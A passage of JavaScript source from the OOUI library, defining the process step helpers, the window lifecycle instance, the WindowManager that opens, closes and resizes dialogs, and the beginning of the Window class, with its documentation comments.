* @param {Object} [context=null] Execution context of the function. The context is
* ignored if the step is a number or promise.
* @return {Object} Step object, with `callback` and `context` properties
*/
OO.ui.Process.prototype.createStep = function ( step, context ) {
if ( typeof step === 'number' || typeof step.then === 'function' ) {
return {
callback: function () {
return step;
},
context: null
};
}
if ( typeof step === 'function' ) {
return {
callback: step,
context: context
};
}
throw new Error( 'Cannot create process step: number, promise or function expected' );
};
/**
* Add step to the beginning of the process.
*
* @inheritdoc #createStep
* @return {OO.ui.Process} this
* @chainable
*/
OO.ui.Process.prototype.first = function ( step, context ) {
this.steps.unshift( this.createStep( step, context ) );
return this;
};
/**
* Add step to the end of the process.
*
* @inheritdoc #createStep
* @return {OO.ui.Process} this
* @chainable
*/
OO.ui.Process.prototype.next = function ( step, context ) {
this.steps.push( this.createStep( step, context ) );
return this;
};
/**
* A window instance represents the life cycle for one single opening of a window
* until its closing.
*
* While OO.ui.WindowManager will reuse OO.ui.Window objects, each time a window is
* opened, a new lifecycle starts.
*
* For more information, please see the [OOUI documentation on MediaWiki] [1].
*
* [1]: https://www.mediawiki.org/wiki/OOUI/Windows
*
* @class
*
* @constructor
*/
OO.ui.WindowInstance = function OoUiWindowInstance() {
var deferreds = {
opening: $.Deferred(),
opened: $.Deferred(),
closing: $.Deferred(),
closed: $.Deferred()
};
/**
* @private
* @property {Object}
*/
this.deferreds = deferreds;
// Set these up as chained promises so that rejecting of
// an earlier stage automatically rejects the subsequent
// would-be stages as well.
/**
* @property {jQuery.Promise}
*/
this.opening = deferreds.opening.promise();
/**
* @property {jQuery.Promise}
*/
this.opened = this.opening.then( function () {
return deferreds.opened;
} );
/**
* @property {jQuery.Promise}
*/
this.closing = this.opened.then( function () {
return deferreds.closing;
} );
/**
* @property {jQuery.Promise}
*/
this.closed = this.closing.then( function () {
return deferreds.closed;
} );
};
/* Setup */
OO.initClass( OO.ui.WindowInstance );
/**
* Check if window is opening.
*
* @return {boolean} Window is opening
*/
OO.ui.WindowInstance.prototype.isOpening = function () {
return this.deferreds.opened.state() === 'pending';
};
/**
* Check if window is opened.
*
* @return {boolean} Window is opened
*/
OO.ui.WindowInstance.prototype.isOpened = function () {
return this.deferreds.opened.state() === 'resolved' &&
this.deferreds.closing.state() === 'pending';
};
/**
* Check if window is closing.
*
* @return {boolean} Window is closing
*/
OO.ui.WindowInstance.prototype.isClosing = function () {
return this.deferreds.closing.state() === 'resolved' &&
this.deferreds.closed.state() === 'pending';
};
/**
* Check if window is closed.
*
* @return {boolean} Window is closed
*/
OO.ui.WindowInstance.prototype.isClosed = function () {
return this.deferreds.closed.state() === 'resolved';
};
/**
* Window managers are used to open and close {@link OO.ui.Window windows} and control their
* presentation. Managed windows are mutually exclusive. If a new window is opened while a current
* window is opening or is opened, the current window will be closed and any on-going
* {@link OO.ui.Process process} will be cancelled. Windows
* themselves are persistent and—rather than being torn down when closed—can be repopulated with the
* pertinent data and reused.
*
* Over the lifecycle of a window, the window manager makes available three promises: `opening`,
* `opened`, and `closing`, which represent the primary stages of the cycle:
*
* **Opening**: the opening stage begins when the window manager’s #openWindow or a window’s
* {@link OO.ui.Window#open open} method is used, and the window manager begins to open the window.
*
* - an `opening` event is emitted with an `opening` promise
* - the #getSetupDelay method is called and the returned value is used to time a pause in execution
* before the window’s {@link OO.ui.Window#method-setup setup} method is called which executes
* OO.ui.Window#getSetupProcess.
* - a `setup` progress notification is emitted from the `opening` promise
* - the #getReadyDelay method is called the returned value is used to time a pause in execution
* before the window’s {@link OO.ui.Window#method-ready ready} method is called which executes
* OO.ui.Window#getReadyProcess.
* - a `ready` progress notification is emitted from the `opening` promise
* - the `opening` promise is resolved with an `opened` promise
*
* **Opened**: the window is now open.
*
* **Closing**: the closing stage begins when the window manager's #closeWindow or the
* window's {@link OO.ui.Window#close close} methods is used, and the window manager begins
* to close the window.
*
* - the `opened` promise is resolved with `closing` promise and a `closing` event is emitted
* - the #getHoldDelay method is called and the returned value is used to time a pause in execution
* before the window's {@link OO.ui.Window#getHoldProcess getHoldProcess} method is called on the
* window and its result executed
* - a `hold` progress notification is emitted from the `closing` promise
* - the #getTeardownDelay() method is called and the returned value is used to time a pause in
* execution before the window's {@link OO.ui.Window#getTeardownProcess getTeardownProcess} method
* is called on the window and its result executed
* - a `teardown` progress notification is emitted from the `closing` promise
* - the `closing` promise is resolved. The window is now closed
*
* See the [OOUI documentation on MediaWiki][1] for more information.
*
* [1]: https://www.mediawiki.org/wiki/OOUI/Windows/Window_managers
*
* @class
* @extends OO.ui.Element
* @mixins OO.EventEmitter
*
* @constructor
* @param {Object} [config] Configuration options
* @cfg {OO.Factory} [factory] Window factory to use for automatic instantiation
* Note that window classes that are instantiated with a factory must have
* a {@link OO.ui.Dialog#static-name static name} property that specifies a symbolic name.
* @cfg {boolean} [modal=true] Prevent interaction outside the dialog
*/
OO.ui.WindowManager = function OoUiWindowManager( config ) {
// Configuration initialization
config = config || {};
// Parent constructor
OO.ui.WindowManager.super.call( this, config );
// Mixin constructors
OO.EventEmitter.call( this );
// Properties
this.factory = config.factory;
this.modal = config.modal === undefined || !!config.modal;
this.windows = {};
// Deprecated placeholder promise given to compatOpening in openWindow()
// that is resolved in closeWindow().
this.compatOpened = null;
this.preparingToOpen = null;
this.preparingToClose = null;
this.currentWindow = null;
this.globalEvents = false;
this.$returnFocusTo = null;
this.$ariaHidden = null;
this.onWindowResizeTimeout = null;
this.onWindowResizeHandler = this.onWindowResize.bind( this );
this.afterWindowResizeHandler = this.afterWindowResize.bind( this );
// Initialization
this.$element
.addClass( 'oo-ui-windowManager' )
.toggleClass( 'oo-ui-windowManager-modal', this.modal );
if ( this.modal ) {
this.$element.attr( 'aria-hidden', true );
}
};
/* Setup */
OO.inheritClass( OO.ui.WindowManager, OO.ui.Element );
OO.mixinClass( OO.ui.WindowManager, OO.EventEmitter );
/* Events */
/**
* An 'opening' event is emitted when the window begins to be opened.
*
* @event opening
* @param {OO.ui.Window} win Window that's being opened
* @param {jQuery.Promise} opened A promise resolved with a value when the window is opened
* successfully. This promise also emits `setup` and `ready` notifications. When this promise is
* resolved, the first argument of the value is an 'closed' promise, the second argument is the
* opening data.
* @param {Object} data Window opening data
*/
/**
* A 'closing' event is emitted when the window begins to be closed.
*
* @event closing
* @param {OO.ui.Window} win Window that's being closed
* @param {jQuery.Promise} closed A promise resolved with a value when the window is closed
* successfully. This promise also emits `hold` and `teardown` notifications. When this promise is
* resolved, the first argument of its value is the closing data.
* @param {Object} data Window closing data
*/
/**
* A 'resize' event is emitted when a window is resized.
*
* @event resize
* @param {OO.ui.Window} win Window that was resized
*/
/* Static Properties */
/**
* Map of the symbolic name of each window size and its CSS properties.
*
* @static
* @inheritable
* @property {Object}
*/
OO.ui.WindowManager.static.sizes = {
small: {
width: 300
},
medium: {
width: 500
},
large: {
width: 700
},
larger: {
width: 900
},
full: {
// These can be non-numeric because they are never used in calculations
width: '100%',
height: '100%'
}
};
/**
* Symbolic name of the default window size.
*
* The default size is used if the window's requested size is not recognized.
*
* @static
* @inheritable
* @property {string}
*/
OO.ui.WindowManager.static.defaultSize = 'medium';
/* Methods */
/**
* Handle window resize events.
*
* @private
* @param {jQuery.Event} e Window resize event
*/
OO.ui.WindowManager.prototype.onWindowResize = function () {
clearTimeout( this.onWindowResizeTimeout );
this.onWindowResizeTimeout = setTimeout( this.afterWindowResizeHandler, 200 );
};
/**
* Handle window resize events.
*
* @private
* @param {jQuery.Event} e Window resize event
*/
OO.ui.WindowManager.prototype.afterWindowResize = function () {
var currentFocusedElement = document.activeElement;
if ( this.currentWindow ) {
this.updateWindowSize( this.currentWindow );
// Restore focus to the original element if it has changed.
// When a layout change is made on resize inputs lose focus
// on Android (Chrome and Firefox), see T162127.
if ( currentFocusedElement !== document.activeElement ) {
currentFocusedElement.focus();
}
}
};
/**
* Check if window is opening.
*
* @param {OO.ui.Window} win Window to check
* @return {boolean} Window is opening
*/
OO.ui.WindowManager.prototype.isOpening = function ( win ) {
return win === this.currentWindow && !!this.lifecycle &&
this.lifecycle.isOpening();
};
/**
* Check if window is closing.
*
* @param {OO.ui.Window} win Window to check
* @return {boolean} Window is closing
*/
OO.ui.WindowManager.prototype.isClosing = function ( win ) {
return win === this.currentWindow && !!this.lifecycle &&
this.lifecycle.isClosing();
};
/**
* Check if window is opened.
*
* @param {OO.ui.Window} win Window to check
* @return {boolean} Window is opened
*/
OO.ui.WindowManager.prototype.isOpened = function ( win ) {
return win === this.currentWindow && !!this.lifecycle &&
this.lifecycle.isOpened();
};
/**
* Check if a window is being managed.
*
* @param {OO.ui.Window} win Window to check
* @return {boolean} Window is being managed
*/
OO.ui.WindowManager.prototype.hasWindow = function ( win ) {
var name;
for ( name in this.windows ) {
if ( this.windows[ name ] === win ) {
return true;
}
}
return false;
};
/**
* Get the number of milliseconds to wait after opening begins before executing the ‘setup’ process.
*
* @param {OO.ui.Window} win Window being opened
* @param {Object} [data] Window opening data
* @return {number} Milliseconds to wait
*/
OO.ui.WindowManager.prototype.getSetupDelay = function () {
return 0;
};
/**
* Get the number of milliseconds to wait after setup has finished before executing the ‘ready’
* process.
*
* @param {OO.ui.Window} win Window being opened
* @param {Object} [data] Window opening data
* @return {number} Milliseconds to wait
*/
OO.ui.WindowManager.prototype.getReadyDelay = function () {
return this.modal ? OO.ui.theme.getDialogTransitionDuration() : 0;
};
/**
* Get the number of milliseconds to wait after closing has begun before executing the 'hold'
* process.
*
* @param {OO.ui.Window} win Window being closed
* @param {Object} [data] Window closing data
* @return {number} Milliseconds to wait
*/
OO.ui.WindowManager.prototype.getHoldDelay = function () {
return 0;
};
/**
* Get the number of milliseconds to wait after the ‘hold’ process has finished before
* executing the ‘teardown’ process.
*
* @param {OO.ui.Window} win Window being closed
* @param {Object} [data] Window closing data
* @return {number} Milliseconds to wait
*/
OO.ui.WindowManager.prototype.getTeardownDelay = function () {
return this.modal ? OO.ui.theme.getDialogTransitionDuration() : 0;
};
/**
* Get a window by its symbolic name.
*
* If the window is not yet instantiated and its symbolic name is recognized by a factory, it will
* be instantiated and added to the window manager automatically. Please see the [OOUI documentation
* on MediaWiki][3] for more information about using factories.
* [3]: https://www.mediawiki.org/wiki/OOUI/Windows/Window_managers
*
* @param {string} name Symbolic name of the window
* @return {jQuery.Promise} Promise resolved with matching window, or rejected with an OO.ui.Error
* @throws {Error} An error is thrown if the symbolic name is not recognized by the factory.
* @throws {Error} An error is thrown if the named window is not recognized as a managed window.
*/
OO.ui.WindowManager.prototype.getWindow = function ( name ) {
var deferred = $.Deferred(),
win = this.windows[ name ];
if ( !( win instanceof OO.ui.Window ) ) {
if ( this.factory ) {
if ( !this.factory.lookup( name ) ) {
deferred.reject( new OO.ui.Error(
'Cannot auto-instantiate window: symbolic name is unrecognized by the factory'
) );
} else {
win = this.factory.create( name );
this.addWindows( [ win ] );
deferred.resolve( win );
}
} else {
deferred.reject( new OO.ui.Error(
'Cannot get unmanaged window: symbolic name unrecognized as a managed window'
) );
}
} else {
deferred.resolve( win );
}
return deferred.promise();
};
/**
* Get current window.
*
* @return {OO.ui.Window|null} Currently opening/opened/closing window
*/
OO.ui.WindowManager.prototype.getCurrentWindow = function () {
return this.currentWindow;
};
/**
* Open a window.
*
* @param {OO.ui.Window|string} win Window object or symbolic name of window to open
* @param {Object} [data] Window opening data
* @param {jQuery|null} [data.$returnFocusTo] Element to which the window will return focus when
* closed. Defaults the current activeElement. If set to null, focus isn't changed on close.
* @param {OO.ui.WindowInstance} [lifecycle] Used internally
* @param {jQuery.Deferred} [compatOpening] Used internally
* @return {OO.ui.WindowInstance} A lifecycle object representing this particular
* opening of the window. For backwards-compatibility, then object is also a Thenable that is
* resolved when the window is done opening, with nested promise for when closing starts. This
* behaviour is deprecated and is not compatible with jQuery 3, see T163510.
* @fires opening
*/
OO.ui.WindowManager.prototype.openWindow = function ( win, data, lifecycle, compatOpening ) {
var error,
manager = this;
data = data || {};
// Internal parameter 'lifecycle' allows this method to always return
// a lifecycle even if the window still needs to be created
// asynchronously when 'win' is a string.
lifecycle = lifecycle || new OO.ui.WindowInstance();
compatOpening = compatOpening || $.Deferred();
// Turn lifecycle into a Thenable for backwards-compatibility with
// the deprecated nested-promise behaviour, see T163510.
[ 'state', 'always', 'catch', 'pipe', 'then', 'promise', 'progress', 'done', 'fail' ]
.forEach( function ( method ) {
lifecycle[ method ] = function () {
OO.ui.warnDeprecation(
'Using the return value of openWindow as a promise is deprecated. ' +
'Use .openWindow( ... ).opening.' + method + '( ... ) instead.'
);
return compatOpening[ method ].apply( this, arguments );
};
} );
// Argument handling
if ( typeof win === 'string' ) {
this.getWindow( win ).then(
function ( w ) {
manager.openWindow( w, data, lifecycle, compatOpening );
},
function ( err ) {
lifecycle.deferreds.opening.reject( err );
}
);
return lifecycle;
}
// Error handling
if ( !this.hasWindow( win ) ) {
error = 'Cannot open window: window is not attached to manager';
} else if ( this.lifecycle && this.lifecycle.isOpened() ) {
error = 'Cannot open window: another window is open';
} else if ( this.preparingToOpen || ( this.lifecycle && this.lifecycle.isOpening() ) ) {
error = 'Cannot open window: another window is opening';
}
if ( error ) {
compatOpening.reject( new OO.ui.Error( error ) );
lifecycle.deferreds.opening.reject( new OO.ui.Error( error ) );
return lifecycle;
}
// If a window is currently closing, wait for it to complete
this.preparingToOpen = $.when( this.lifecycle && this.lifecycle.closed );
// Ensure handlers get called after preparingToOpen is set
this.preparingToOpen.done( function () {
if ( manager.modal ) {
manager.toggleGlobalEvents( true );
manager.toggleAriaIsolation( true );
}
manager.$returnFocusTo = data.$returnFocusTo !== undefined ?
data.$returnFocusTo :
$( document.activeElement );
manager.currentWindow = win;
manager.lifecycle = lifecycle;
manager.preparingToOpen = null;
manager.emit( 'opening', win, compatOpening, data );
lifecycle.deferreds.opening.resolve( data );
setTimeout( function () {
manager.compatOpened = $.Deferred();
win.setup( data ).then( function () {
compatOpening.notify( { state: 'setup' } );
setTimeout( function () {
win.ready( data ).then( function () {
compatOpening.notify( { state: 'ready' } );
lifecycle.deferreds.opened.resolve( data );
compatOpening.resolve( manager.compatOpened.promise(), data );
manager.togglePreventIosScrolling( true );
}, function ( dataOrErr ) {
lifecycle.deferreds.opened.reject();
compatOpening.reject();
manager.closeWindow( win );
if ( dataOrErr instanceof Error ) {
setTimeout( function () {
throw dataOrErr;
} );
}
} );
}, manager.getReadyDelay() );
}, function ( dataOrErr ) {
lifecycle.deferreds.opened.reject();
compatOpening.reject();
manager.closeWindow( win );
if ( dataOrErr instanceof Error ) {
setTimeout( function () {
throw dataOrErr;
} );
}
} );
}, manager.getSetupDelay() );
} );
return lifecycle;
};
/**
* Close a window.
*
* @param {OO.ui.Window|string} win Window object or symbolic name of window to close
* @param {Object} [data] Window closing data
* @return {OO.ui.WindowInstance} A lifecycle object representing this particular
* opening of the window. For backwards-compatibility, the object is also a Thenable that is
* resolved when the window is done closing, see T163510.
* @fires closing
*/
OO.ui.WindowManager.prototype.closeWindow = function ( win, data ) {
var error,
manager = this,
compatClosing = $.Deferred(),
lifecycle = this.lifecycle,
compatOpened;
// Argument handling
if ( typeof win === 'string' ) {
win = this.windows[ win ];
} else if ( !this.hasWindow( win ) ) {
win = null;
}
// Error handling
if ( !lifecycle ) {
error = 'Cannot close window: no window is currently open';
} else if ( !win ) {
error = 'Cannot close window: window is not attached to manager';
} else if ( win !== this.currentWindow || this.lifecycle.isClosed() ) {
error = 'Cannot close window: window already closed with different data';
} else if ( this.preparingToClose || this.lifecycle.isClosing() ) {
error = 'Cannot close window: window already closing with different data';
}
if ( error ) {
// This function was called for the wrong window and we don't want to mess with the current
// window's state.
lifecycle = new OO.ui.WindowInstance();
// Pretend the window has been opened, so that we can pretend to fail to close it.
lifecycle.deferreds.opening.resolve( {} );
lifecycle.deferreds.opened.resolve( {} );
}
// Turn lifecycle into a Thenable for backwards-compatibility with
// the deprecated nested-promise behaviour, see T163510.
[ 'state', 'always', 'catch', 'pipe', 'then', 'promise', 'progress', 'done', 'fail' ]
.forEach( function ( method ) {
lifecycle[ method ] = function () {
OO.ui.warnDeprecation(
'Using the return value of closeWindow as a promise is deprecated. ' +
'Use .closeWindow( ... ).closed.' + method + '( ... ) instead.'
);
return compatClosing[ method ].apply( this, arguments );
};
} );
if ( error ) {
compatClosing.reject( new OO.ui.Error( error ) );
lifecycle.deferreds.closing.reject( new OO.ui.Error( error ) );
return lifecycle;
}
// If the window is currently opening, close it when it's done
this.preparingToClose = $.when( this.lifecycle.opened );
// Ensure handlers get called after preparingToClose is set
this.preparingToClose.always( function () {
manager.preparingToClose = null;
manager.emit( 'closing', win, compatClosing, data );
lifecycle.deferreds.closing.resolve( data );
compatOpened = manager.compatOpened;
manager.compatOpened = null;
compatOpened.resolve( compatClosing.promise(), data );
manager.togglePreventIosScrolling( false );
setTimeout( function () {
win.hold( data ).then( function () {
compatClosing.notify( { state: 'hold' } );
setTimeout( function () {
win.teardown( data ).then( function () {
compatClosing.notify( { state: 'teardown' } );
if ( manager.modal ) {
manager.toggleGlobalEvents( false );
manager.toggleAriaIsolation( false );
}
if ( manager.$returnFocusTo && manager.$returnFocusTo.length ) {
manager.$returnFocusTo[ 0 ].focus();
}
manager.currentWindow = null;
manager.lifecycle = null;
lifecycle.deferreds.closed.resolve( data );
compatClosing.resolve( data );
} );
}, manager.getTeardownDelay() );
} );
}, manager.getHoldDelay() );
} );
return lifecycle;
};
/**
* Add windows to the window manager.
*
* Windows can be added by reference, symbolic name, or explicitly defined symbolic names.
* See the [OOUI documentation on MediaWiki] [2] for examples.
* [2]: https://www.mediawiki.org/wiki/OOUI/Windows/Window_managers
*
* This function can be called in two manners:
*
* 1. `.addWindows( [ winA, winB, ... ] )` (where `winA`, `winB` are OO.ui.Window objects)
*
* This syntax registers windows under the symbolic names defined in their `.static.name`
* properties. For example, if `windowA.constructor.static.name` is `'nameA'`, calling
* `.openWindow( 'nameA' )` afterwards will open the window `windowA`. This syntax requires the
* static name to be set, otherwise an exception will be thrown.
*
* This is the recommended way, as it allows for an easier switch to using a window factory.
*
* 2. `.addWindows( { nameA: winA, nameB: winB, ... } )`
*
* This syntax registers windows under the explicitly given symbolic names. In this example,
* calling `.openWindow( 'nameA' )` afterwards will open the window `windowA`, regardless of what
* its `.static.name` is set to. The static name is not required to be set.
*
* This should only be used if you need to override the default symbolic names.
*
* Example:
*
* var windowManager = new OO.ui.WindowManager();
* $( document.body ).append( windowManager.$element );
*
* // Add a window under the default name: see OO.ui.MessageDialog.static.name
* windowManager.addWindows( [ new OO.ui.MessageDialog() ] );
* // Add a window under an explicit name
* windowManager.addWindows( { myMessageDialog: new OO.ui.MessageDialog() } );
*
* // Open window by default name
* windowManager.openWindow( 'message' );
* // Open window by explicitly given name
* windowManager.openWindow( 'myMessageDialog' );
*
*
* @param {Object.<string,OO.ui.Window>|OO.ui.Window[]} windows An array of window objects specified
* by reference, symbolic name, or explicitly defined symbolic names.
* @throws {Error} An error is thrown if a window is added by symbolic name, but has neither an
* explicit nor a statically configured symbolic name.
*/
OO.ui.WindowManager.prototype.addWindows = function ( windows ) {
var i, len, win, name, list;
if ( Array.isArray( windows ) ) {
// Convert to map of windows by looking up symbolic names from static configuration
list = {};
for ( i = 0, len = windows.length; i < len; i++ ) {
name = windows[ i ].constructor.static.name;
if ( !name ) {
throw new Error( 'Windows must have a `name` static property defined.' );
}
list[ name ] = windows[ i ];
}
} else if ( OO.isPlainObject( windows ) ) {
list = windows;
}
// Add windows
for ( name in list ) {
win = list[ name ];
this.windows[ name ] = win.toggle( false );
this.$element.append( win.$element );
win.setManager( this );
}
};
/**
* Remove the specified windows from the windows manager.
*
* Windows will be closed before they are removed. If you wish to remove all windows, you may wish
* to use the #clearWindows method instead. If you no longer need the window manager and want to
* ensure that it no longer listens to events, use the #destroy method.
*
* @param {string[]} names Symbolic names of windows to remove
* @return {jQuery.Promise} Promise resolved when window is closed and removed
* @throws {Error} An error is thrown if the named windows are not managed by the window manager.
*/
OO.ui.WindowManager.prototype.removeWindows = function ( names ) {
var promises,
manager = this;
function cleanup( name, win ) {
delete manager.windows[ name ];
win.$element.detach();
}
promises = names.map( function ( name ) {
var cleanupWindow,
win = manager.windows[ name ];
if ( !win ) {
throw new Error( 'Cannot remove window' );
}
cleanupWindow = cleanup.bind( null, name, win );
return manager.closeWindow( name ).closed.then( cleanupWindow, cleanupWindow );
} );
return $.when.apply( $, promises );
};
/**
* Remove all windows from the window manager.
*
* Windows will be closed before they are removed. Note that the window manager, though not in use,
* will still listen to events. If the window manager will not be used again, you may wish to use
* the #destroy method instead. To remove just a subset of windows, use the #removeWindows method.
*
* @return {jQuery.Promise} Promise resolved when all windows are closed and removed
*/
OO.ui.WindowManager.prototype.clearWindows = function () {
return this.removeWindows( Object.keys( this.windows ) );
};
/**
* Set dialog size. In general, this method should not be called directly.
*
* Fullscreen mode will be used if the dialog is too wide to fit in the screen.
*
* @param {OO.ui.Window} win Window to update, should be the current window
* @chainable
* @return {OO.ui.WindowManager} The manager, for chaining
*/
OO.ui.WindowManager.prototype.updateWindowSize = function ( win ) {
var isFullscreen;
// Bypass for non-current, and thus invisible, windows
if ( win !== this.currentWindow ) {
return;
}
isFullscreen = win.getSize() === 'full';
this.$element.toggleClass( 'oo-ui-windowManager-fullscreen', isFullscreen );
this.$element.toggleClass( 'oo-ui-windowManager-floating', !isFullscreen );
win.setDimensions( win.getSizeProperties() );
this.emit( 'resize', win );
return this;
};
/**
* Prevent scrolling of the document on iOS devices that don't respect `body { overflow: hidden; }`.
*
* This function is called when the window is opened (ready), and so the background is covered up,
* and the user won't see that we're doing weird things to the scroll position.
*
* @private
* @param {boolean} on
* @chainable
* @return {OO.ui.WindowManager} The manager, for chaining
*/
OO.ui.WindowManager.prototype.togglePreventIosScrolling = function ( on ) {
var
isIos = /ipad|iphone|ipod/i.test( navigator.userAgent ),
$body = $( this.getElementDocument().body ),
scrollableRoot = OO.ui.Element.static.getRootScrollableElement( $body[ 0 ] ),
stackDepth = $body.data( 'windowManagerGlobalEvents' ) || 0;
// Only if this is the first/last WindowManager (see #toggleGlobalEvents)
if ( !isIos || stackDepth !== 1 ) {
return this;
}
if ( on ) {
// We can't apply this workaround for non-fullscreen dialogs, because the user would see the
// scroll position change. If they have content that needs scrolling, you're out of luck…
// Always remember the scroll position in case dialog is closed with different size.
this.iosOrigScrollPosition = scrollableRoot.scrollTop;
if ( this.getCurrentWindow().getSize() === 'full' ) {
$body.add( $body.parent() ).addClass( 'oo-ui-windowManager-ios-modal-ready' );
}
} else {
// Always restore ability to scroll in case dialog was opened with different size.
$body.add( $body.parent() ).removeClass( 'oo-ui-windowManager-ios-modal-ready' );
if ( this.getCurrentWindow().getSize() === 'full' ) {
scrollableRoot.scrollTop = this.iosOrigScrollPosition;
}
}
return this;
};
/**
* Bind or unbind global events for scrolling.
*
* @private
* @param {boolean} [on] Bind global events
* @chainable
* @return {OO.ui.WindowManager} The manager, for chaining
*/
OO.ui.WindowManager.prototype.toggleGlobalEvents = function ( on ) {
var scrollWidth, bodyMargin,
$body = $( this.getElementDocument().body ),
// We could have multiple window managers open so only modify
// the body css at the bottom of the stack
stackDepth = $body.data( 'windowManagerGlobalEvents' ) || 0;
on = on === undefined ? !!this.globalEvents : !!on;
if ( on ) {
if ( !this.globalEvents ) {
$( this.getElementWindow() ).on( {
// Start listening for top-level window dimension changes
'orientationchange resize': this.onWindowResizeHandler
} );
if ( stackDepth === 0 ) {
scrollWidth = window.innerWidth - document.documentElement.clientWidth;
bodyMargin = parseFloat( $body.css( 'margin-right' ) ) || 0;
$body.addClass( 'oo-ui-windowManager-modal-active' );
$body.css( 'margin-right', bodyMargin + scrollWidth );
}
stackDepth++;
this.globalEvents = true;
}
} else if ( this.globalEvents ) {
$( this.getElementWindow() ).off( {
// Stop listening for top-level window dimension changes
'orientationchange resize': this.onWindowResizeHandler
} );
stackDepth--;
if ( stackDepth === 0 ) {
$body.removeClass( 'oo-ui-windowManager-modal-active' );
$body.css( 'margin-right', '' );
}
this.globalEvents = false;
}
$body.data( 'windowManagerGlobalEvents', stackDepth );
return this;
};
/**
* Toggle screen reader visibility of content other than the window manager.
*
* @private
* @param {boolean} [isolate] Make only the window manager visible to screen readers
* @chainable
* @return {OO.ui.WindowManager} The manager, for chaining
*/
OO.ui.WindowManager.prototype.toggleAriaIsolation = function ( isolate ) {
var $topLevelElement;
isolate = isolate === undefined ? !this.$ariaHidden : !!isolate;
if ( isolate ) {
if ( !this.$ariaHidden ) {
// Find the top level element containing the window manager or the
// window manager's element itself in case its a direct child of body
$topLevelElement = this.$element.parentsUntil( 'body' ).last();
$topLevelElement = $topLevelElement.length === 0 ? this.$element : $topLevelElement;
// In case previously set by another window manager
this.$element.removeAttr( 'aria-hidden' );
// Hide everything other than the window manager from screen readers
this.$ariaHidden = $( document.body )
.children()
.not( 'script' )
.not( $topLevelElement )
.attr( 'aria-hidden', true );
}
} else if ( this.$ariaHidden ) {
// Restore screen reader visibility
this.$ariaHidden.removeAttr( 'aria-hidden' );
this.$ariaHidden = null;
// and hide the window manager
this.$element.attr( 'aria-hidden', true );
}
return this;
};
/**
* Destroy the window manager.
*
* Destroying the window manager ensures that it will no longer listen to events. If you would like
* to continue using the window manager, but wish to remove all windows from it, use the
* #clearWindows method instead.
*/
OO.ui.WindowManager.prototype.destroy = function () {
this.toggleGlobalEvents( false );
this.toggleAriaIsolation( false );
this.clearWindows();
this.$element.remove();
};
/**
* A window is a container for elements that are in a child frame. They are used with
* a window manager (OO.ui.WindowManager), which is used to open and close the window and control
* its presentation. The size of a window is specified using a symbolic name (e.g., ‘small’,
* ‘medium’, ‘large’), which is interpreted by the window manager. If the requested size is not
* recognized, the window manager will choose a sensible fallback.
*
* The lifecycle of a window has three primary stages (opening, opened, and closing) in which
* different processes are executed:
*
* **opening**: The opening stage begins when the window manager's
* {@link OO.ui.WindowManager#openWindow openWindow} or the window's {@link #open open} methods are
* used, and the window manager begins to open the window.
*
* - {@link #getSetupProcess} method is called and its result executed
* - {@link #getReadyProcess} method is called and its result executed
*
* **opened**: The window is now open
*
* **closing**: The closing stage begins when the window manager's
* {@link OO.ui.WindowManager#closeWindow closeWindow}
* or the window's {@link #close} methods are used, and the window manager begins to close the
* window.
*
* - {@link #getHoldProcess} method is called and its result executed
* - {@link #getTeardownProcess} method is called and its result executed. The window is now closed
*
* Each of the window's processes (setup, ready, hold, and teardown) can be extended in subclasses
* by overriding the window's #getSetupProcess, #getReadyProcess, #getHoldProcess and
* #getTeardownProcess methods. Note that each {@link OO.ui.Process process} is executed in series,
* so asynchronous processing can complete. Always assume window processes are executed
* asynchronously.
*
* For more information, please see the [OOUI documentation on MediaWiki] [1].
*
* [1]: https://www.mediawiki.org/wiki/OOUI/Windows
*
* @abstract
* @class
* @extends OO.ui.Element
* @mixins OO.EventEmitter
*
* @constructor
* @param {Object} [config] Configuration options
* @cfg {string} [size] Symbolic name of the dialog size: `small`, `medium`, `large`, `larger` or
* `full`. If omitted, the value of the {@link #static-size static size} property will be used.
*/
OO.ui.Window = function OoUiWindow( config ) {
// Configuration initialization
config = config || {};
// Parent constructor
OO.ui.Window.super.call( this, config );
// Mixin constructors
OO.EventEmitter.call( this );
// Properties
this.manager = null;
this.size = config.size || this.constructor.static.size;
this.$frame = $( '<div>' );
/**
* Overlay element to use for the `$overlay` configuration option of widgets that support it.
* Things put inside it are overlaid on top of the window and are not bound to its dimensions.
* See <https://www.mediawiki.org/wiki/OOUI/Concepts#Overlays>.
*
* MyDialog.prototype.initialize = function () {
* ...
* var popupButton = new OO.ui.PopupButtonWidget( {
* $overlay: this.$overlay,
* label: 'Popup button',
* popup: {
* $content: $( '<p>Popup content.</p><p>More content.</p><p>Yet more content.</p>' ),
* padded: true
* }
* } );
* ...
* };
*
* @property {jQuery}
*/
this.$overlay = $( '<div>' );
this.$content = $( '<div>' );
this.$focusTrapBefore = $( '<div>' ).prop( 'tabIndex', 0 );
this.$focusTrapAfter = $( '<div>' ).prop( 'tabIndex', 0 );
this.$focusTraps = this.$focusTrapBefore.add( this.$focusTrapAfter );
// Initialization
this.$overlay.addClass( 'oo-ui-window-overlay' );
this.$content
.addClass( 'oo-ui-window-content' )
.attr( 'tabindex', -1 );
this.$frame
.addClass( 'oo-ui-window-frame' )
.append( this.$focusTrapBefore, this.$content, this.$focusTrapAfter );
this.$element
.addClass( 'oo-ui-window' )
.append( this.$frame, this.$overlay );
// Initially hidden - using #toggle may cause errors if subclasses override toggle with methods
// that reference properties not initialized at that time of parent class construction
// TODO: Find a better way to handle post-constructor setup
this.visible = false;
this.$element.addClass( 'oo-ui-element-hidden' );
};
/* Setup */
OO.inheritClass( OO.ui.Window, OO.ui.Element );
OO.mixinClass( OO.ui.Window, OO.EventEmitter );
/* Static Properties */
/**
* Symbolic name of the window size: `small`, `medium`, `large`, `larger` or `full`.
*
* The static size is used if no #size is configured during construction.
*
* @static
* @inheritable
* @property {string}
*/
OO.ui.Window.static.size = 'medium';
/* Methods */
/**
* Handle mouse down events.
*
* @private
* @param {jQuery.Event} e Mouse down event
* @return {OO.ui.Window} The window, for chaining
*/
OO.ui.Window.prototype.onMouseDown = function ( e ) {
// Prevent clicking on the click-block from stealing focus
if ( e.target === this.$element[ 0 ] ) {
return false;
}
};
/**
* Check if the window has been initialized.
*
* Initialization occurs when a window is added to a manager.
*
* @return {boolean} Window has been initialized
*/
OO.ui.Window.prototype.isInitialized = function () {
return !!this.manager;
};
/**
* Check if the window is visible.
*
* @return {boolean} Window is visible
*/
OO.ui.Window.prototype.isVisible = function () {
return this.visible;
};
/**
* Check if the window is opening.
*
* This method is a wrapper around the window manager's
* {@link OO.ui.WindowManager#isOpening isOpening} method.
*
